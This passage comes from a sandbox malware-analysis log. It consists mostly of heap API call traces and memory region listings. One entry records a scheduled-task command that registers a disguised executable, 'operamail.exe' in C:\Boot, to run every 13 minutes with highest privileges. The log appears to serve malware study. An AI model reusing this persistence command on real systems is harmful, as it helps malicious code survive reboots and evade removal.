dwFlags=0x0, lpMem=0x2e5ba0 | out: hHeap=0x2d0000) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1d0) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec1d0) returned 0x14 [0136.946] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1d0 | out: hHeap=0x2d0000) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.946] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1b0) returned 1 [0136.946] GetProcessHeap () returned 0x2d0000 [0136.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec1b0) returned 0x18 [0136.947] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1b0 | out: hHeap=0x2d0000) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ae0) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ae0) returned 0x20 [0136.947] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ae0 | out: hHeap=0x2d0000) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1f0) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec1f0) returned 0x16 [0136.947] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec1f0 | out: hHeap=0x2d0000) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec170) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ec170) returned 0x18 [0136.947] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ec170 | out: hHeap=0x2d0000) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ab0) returned 1 [0136.947] GetProcessHeap () returned 0x2d0000 [0136.947] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5ab0) returned 0x20 [0136.948] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5ab0 | out: hHeap=0x2d0000) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9a0) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb9a0) returned 0x2 [0136.948] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9a0 | out: hHeap=0x2d0000) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5900) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5900) returned 0x20 [0136.948] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5900 | out: hHeap=0x2d0000) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5930) returned 1 [0136.948] GetProcessHeap () returned 0x2d0000 [0136.948] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5930) returned 0x20 [0136.949] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5930 | out: hHeap=0x2d0000) returned 1 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5960) returned 1 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5960) returned 0x20 [0136.949] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5960 | out: hHeap=0x2d0000) returned 1 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5990) returned 1 [0136.949] GetProcessHeap () returned 0x2d0000 [0136.949] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5990) returned 0x20 [0136.950] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5990 | out: hHeap=0x2d0000) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb10) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecb10) returned 0x20 [0136.950] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb10 | out: hHeap=0x2d0000) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed630) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed630) returned 0xc [0136.950] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed630 | out: hHeap=0x2d0000) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb40) returned 1 [0136.950] GetProcessHeap () returned 0x2d0000 [0136.950] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecb40) returned 0x20 [0136.951] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb40 | out: hHeap=0x2d0000) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7a20) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7a20) returned 0x30 [0136.951] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7a20 | out: hHeap=0x2d0000) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb70) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecb70) returned 0x20 [0136.951] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecb70 | out: hHeap=0x2d0000) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7a60) returned 1 [0136.951] GetProcessHeap () returned 0x2d0000 [0136.951] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7a60) returned 0x30 [0136.952] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7a60 | out: hHeap=0x2d0000) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccf0) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccf0) returned 0x20 [0136.952] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccf0 | out: hHeap=0x2d0000) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed550) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed550) returned 0x16 [0136.952] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed550 | out: hHeap=0x2d0000) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccc0) returned 1 [0136.952] GetProcessHeap () returned 0x2d0000 [0136.952] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eccc0) returned 0x20 [0136.953] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eccc0 | out: hHeap=0x2d0000) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed570) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed570) returned 0x16 [0136.953] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed570 | out: hHeap=0x2d0000) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc90) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc90) returned 0x20 [0136.953] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc90 | out: hHeap=0x2d0000) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x309910) returned 1 [0136.953] GetProcessHeap () returned 0x2d0000 [0136.953] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x309910) returned 0x82 [0136.954] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x309910 | out: hHeap=0x2d0000) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc60) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc60) returned 0x20 [0136.954] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc60 | out: hHeap=0x2d0000) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5b0) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed5b0) returned 0xe [0136.954] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5b0 | out: hHeap=0x2d0000) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc30) returned 1 [0136.954] GetProcessHeap () returned 0x2d0000 [0136.954] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc30) returned 0x20 [0136.955] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc30 | out: hHeap=0x2d0000) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5d0) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed5d0) returned 0xc [0136.955] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5d0 | out: hHeap=0x2d0000) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc00) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecc00) returned 0x20 [0136.955] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecc00 | out: hHeap=0x2d0000) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5f0) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.955] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed5f0) returned 0xe [0136.955] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed5f0 | out: hHeap=0x2d0000) returned 1 [0136.955] GetProcessHeap () returned 0x2d0000 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecbd0) returned 0x20 [0136.956] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecbd0 | out: hHeap=0x2d0000) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed610) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed610) returned 0x10 [0136.956] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed610 | out: hHeap=0x2d0000) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecba0) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecba0) returned 0x20 [0136.956] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecba0 | out: hHeap=0x2d0000) returned 1 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.956] GetProcessHeap () returned 0x2d0000 [0136.957] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9c0) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb9c0) returned 0x18 [0136.957] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9c0 | out: hHeap=0x2d0000) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59c0) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e59c0) returned 0x20 [0136.957] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59c0 | out: hHeap=0x2d0000) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59f0) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e59f0) returned 0x20 [0136.957] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e59f0 | out: hHeap=0x2d0000) returned 1 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.957] GetProcessHeap () returned 0x2d0000 [0136.958] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a20) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a20) returned 0x20 [0136.958] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a20 | out: hHeap=0x2d0000) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a50) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a50) returned 0x20 [0136.958] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a50 | out: hHeap=0x2d0000) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9e0) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb9e0) returned 0x18 [0136.958] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb9e0 | out: hHeap=0x2d0000) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.958] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a80) returned 1 [0136.958] GetProcessHeap () returned 0x2d0000 [0136.959] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5a80) returned 0x20 [0136.959] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5a80 | out: hHeap=0x2d0000) returned 1 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b10) returned 1 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b10) returned 0x20 [0136.959] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b10 | out: hHeap=0x2d0000) returned 1 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b70) returned 1 [0136.959] GetProcessHeap () returned 0x2d0000 [0136.959] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b70) returned 0x20 [0136.960] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b70 | out: hHeap=0x2d0000) returned 1 [0136.960] GetProcessHeap () returned 0x2d0000 [0136.960] GetProcessHeap () returned 0x2d0000 [0136.960] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bd0) returned 1 [0136.960] GetProcessHeap () returned 0x2d0000 [0136.960] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5bd0) returned 0x20 [0136.960] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5bd0 | out: hHeap=0x2d0000) returned 1 [0136.960] GetProcessHeap () returned 0x2d0000 [0136.960] GetProcessHeap () returned 0x2d0000 [0136.961] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c00) returned 1 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5c00) returned 0x20 [0136.961] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5c00 | out: hHeap=0x2d0000) returned 1 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba00) returned 1 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eba00) returned 0x18 [0136.961] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eba00 | out: hHeap=0x2d0000) returned 1 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b40) returned 1 [0136.961] GetProcessHeap () returned 0x2d0000 [0136.961] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5b40) returned 0x20 [0136.961] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5b40 | out: hHeap=0x2d0000) returned 1 [0136.962] GetProcessHeap () returned 0x2d0000 [0136.962] GetProcessHeap () returned 0x2d0000 [0136.962] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb980) returned 1 [0136.962] GetProcessHeap () returned 0x2d0000 [0136.962] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2eb980) returned 0x18 [0136.962] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eb980 | out: hHeap=0x2d0000) returned 1 [0136.962] exit (_Code=0) Thread: id = 128 os_tid = 0xf4c Process: id = "22" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x439a8000" os_pid = "0xf50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 13 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2424 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2425 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2426 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2427 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2428 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2429 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2430 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2431 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2432 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2433 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2434 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2435 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2436 start_va = 0x260000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2437 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2438 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2439 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2440 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2441 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2442 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2443 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2444 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2445 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2446 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2447 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2448 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" 